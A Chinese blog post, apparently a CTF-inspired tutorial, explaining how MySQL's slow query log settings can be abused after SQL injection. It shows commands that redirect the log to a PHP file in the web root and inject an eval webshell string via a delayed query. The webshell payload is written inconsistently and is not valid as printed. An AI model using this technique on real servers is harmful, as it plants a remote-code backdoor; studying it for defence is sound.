SQL慢查询

2023-05-16 14:05:54 浏览数 (1)

是从深育杯一道mysql注入知道的 使用示例 详细讲解

代码语言:javascript复制
使用条件:
可以使用堆叠注入或slow_query_log开启(默认是关闭的)
slow_query_log为慢查询记录开关
slow_query_log_file是查询语句的记录文件地址
以上参数参数可以通过set语句直接设置(secure_file_priv就不行)
查询语句执行时间大于参数long_query_time的值(可以直接通过set语句修改,默认为10s)
log_output 参数是指定日志的存储方式。log_output='FILE'表示将日志存入文件,默认值是'FILE'。log_output='TABLE'表示将日志存入数据库,这样日志信息就会被写入到mysql.slow_log表中。MySQL数据库支持同时两种日志存储方式,配置的时候以逗号隔开即可,如:log_output='FILE,TABLE'。
#使用set global slow_query_log=1开启了慢查询日志只对当前数据库生效,MySQL重启后则会失效。如果要永久生效,就必须修改配置文件my.cnf(其它系统变量也是如此)  

默认设置查询:

代码语言:javascript复制
mysql> show variables like '%slow_query%';
 --------------------- -------------------------------------- 
| Variable_name       | Value                                |
 --------------------- -------------------------------------- 
| slow_query_log      | OFF                                  |
| slow_query_log_file | /var/lib/mysql/34886294ca4d-slow.log |
 --------------------- -------------------------------------- 
2 rows in set (0.00 sec)
mysql> show variables like 'log_queries_not_using_indexes';
 ------------------------------- ------- 
| Variable_name                 | Value |
 ------------------------------- ------- 
| log_queries_not_using_indexes | OFF   |
 ------------------------------- ------- 
1 row in set (0.00 sec)
mysql> show variables like 'long_query_time';
 ----------------- ----------- 
| Variable_name   | Value     |
 ----------------- ----------- 
| long_query_time | 10.000000 |
 ----------------- ----------- 
1 row in set (0.00 sec)
mysql> show variables like 'log_output';
 --------------- ------- 
| Variable_name | Value |
 --------------- ------- 
| log_output    | FILE  |
 --------------- ------- 
1 row in set (0.00 sec)

配置说明:

代码语言:javascript复制
slow_query_log    :是否开启慢查询日志,1表示开启,0表示关闭。  
log-slow-queries  :旧版(5.6以下版本)MySQL数据库慢查询日志存储路径。可以不设置该参数,系统则会默认给一个缺省的文件host_name-slow.log  
slow-query-log-file:新版(5.6及以上版本)MySQL数据库慢查询日志存储路径。可以不设置该参数,系统则会默认给一个缺省的文件host_name-slow.log  
long_query_time :慢查询阈值,当查询时间多于设定的阈值时,记录日志。  
log_queries_not_using_indexes:未使用索引的查询也被记录到慢查询日志中(可选项)。  
log_output:日志存储方式。log_output='FILE'表示将日志存入文件,默认值是'FILE'。log_output='TABLE'表示将日志存入数据库,这样日志信息就会被写入到mysql.slow_log表中。MySQL数据  
库支持同时两种日志存储方式,配置的时候以逗号隔开即可,如:log_output='FILE,TABLE'。日志记录到系统的专用日志表中,要比记录到文件耗费更多的系统资源,因此对于需要启用慢查询日志,又需  
要能够获得更高的系统性能,那么建议优先记录到文件

使用示例:

代码语言:javascript复制
mysql> set global slow_query_log=1;
Query OK, 0 rows affected (0.00 sec)

mysql> set global slow_query_log_file='/var/www/html/shell.php';
Query OK, 0 rows affected (0.00 sec)

mysql> show variables like '%slow_query_log%';
 --------------------- ------------------------- 
| Variable_name       | Value                   |
 --------------------- ------------------------- 
| slow_query_log      | ON                      |
| slow_query_log_file | /var/www/html/shell.php |
 --------------------- ------------------------- 
2 rows in set (0.00 sec)

mysql> select '<?php phpinfo();eval(REQUEST_[0]);?>'&sleep(11);
 ----------------------------------------------------- 
| '<?php phpinfo();eval(REQUEST_[0]);?>' & sleep(11) |
 ----------------------------------------------------- 
|                                                   0 |
 ----------------------------------------------------- 
1 row in set, 1 warning (11.00 sec)

mysql> system cat shell.php;
mysqld, Version: 5.6.51 (MySQL Community Server (GPL)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
# Time: 211116  1:46:24
# User@Host: root[root] @ localhost []  Id:     3
# Query_time: 11.000200  Lock_time: 0.000000 Rows_sent: 1  Rows_examined: 0
use mysql;
SET timestamp=1637027184;
**select '<?php phpinfo();eval($REQUEST_[0]);?>' & sleep(11);**

注:使用set语句设置slow_query_log_file参数的时候需要设置为已经存在且具有对应权限的文件,否则会报错设置失败

0 人点赞